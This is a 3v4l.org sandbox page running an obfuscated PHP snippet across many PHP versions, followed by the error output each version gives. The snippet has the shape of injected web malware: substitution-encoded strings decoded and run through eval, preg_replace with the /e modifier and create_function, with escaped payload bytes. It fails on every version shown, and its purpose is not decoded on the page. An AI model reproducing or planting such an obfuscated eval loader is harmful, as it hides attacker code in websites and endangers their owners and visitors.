3v4l.org

run code in 300+ PHP versions simultaneously
<?php $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $lastest = preg_replace("/(.*)/e", eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)), NULL); var_dump($lastest);
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Warning: Undefined variable $s1v in /in/Gs2W0(7) : eval()'d code on line 1 Fatal error: Uncaught Error: Value of type null is not callable in /in/Gs2W0(7) : eval()'d code:1 Stack trace: #0 /in/Gs2W0(7): eval() #1 {main} thrown in /in/Gs2W0(7) : eval()'d code on line 1
Process exited with code 255.
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined variable: s1v in /in/Gs2W0(7) : eval()'d code on line 1 Fatal error: Uncaught Error: Function name must be a string in /in/Gs2W0(7) : eval()'d code:1 Stack trace: #0 /in/Gs2W0(7): eval() #1 {main} thrown in /in/Gs2W0(7) : eval()'d code on line 1
Process exited with code 255.
Output for 7.3.32 - 7.3.33
Fatal error: Uncaught Error: Function name must be a string in /in/Gs2W0(7) : eval()'d code:1 Stack trace: #0 /in/Gs2W0(7): eval() #1 {main} thrown in /in/Gs2W0(7) : eval()'d code on line 1
Process exited with code 255.
Output for 5.4.2 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28
Notice: Undefined variable: s1v in /in/Gs2W0(7) : eval()'d code on line 1 Fatal error: Function name must be a string in /in/Gs2W0(7) : eval()'d code on line 1
Process exited with code 255.

preferences:
150.22 ms | 402 KiB | 228 Q